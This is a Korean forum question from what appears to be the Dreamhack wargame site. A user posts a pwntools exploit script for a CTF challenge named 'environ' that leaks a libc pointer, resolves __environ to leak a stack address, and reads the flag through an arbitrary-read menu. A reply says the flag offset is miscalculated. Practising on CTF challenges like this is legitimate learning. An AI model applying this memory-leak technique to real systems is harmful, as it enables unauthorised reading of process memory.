완료됨
계속 무한루프에 걸려요

from pwn import *
#1context.log_level = "debug"

HOST, PORT = "127.0.0.1", 7182

REMOTE = True

if REMOTE:
p = remote('host1.dreamhack.games', 16731)
elf = ELF('./libc.so.6')
libc = ELF('./libc.so.6', checksec=False)
else:
p = process('./environ')
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

p.recvuntil(b'stdout: ')
stdout_ptr = int(p.recvline().strip(), 16)
libc_base = stdout_ptr - libc.symbols['IO_2_1_stdout']
libc_environ = libc_base + elf.symbols['__environ']
log.info(f'environ = {hex(libc_environ)}')

p.sendlineafter(b">", b"1")
p.sendlineafter(b"Addr: ", str(libc_environ))
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))

flag = stack_environ - 0x1538

p.sendlineafter(b">", b"1")
p.sendlineafter(b"Addr: ", str(flag).encode())
p.interactive()

이렇게 짰는데

이런 무한루프가 계속 뜨네요...뭐가 문제일까요 ㅠㅠ

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

보시다시피 flag가 출력되고 있긴 합니다만, 중간즈음부터 나오고 있습니다.
이는 계산된 flag 주소가 잘못되었음을 의미합니다.
정확하진 않지만, 전달되는 페이로드가 우연히도 stack 내 출력에 사용되는 부분 중 어디 한 부분을 건드려 무한 루프에 빠진 것 같습니다.

2025.08.18. 07:15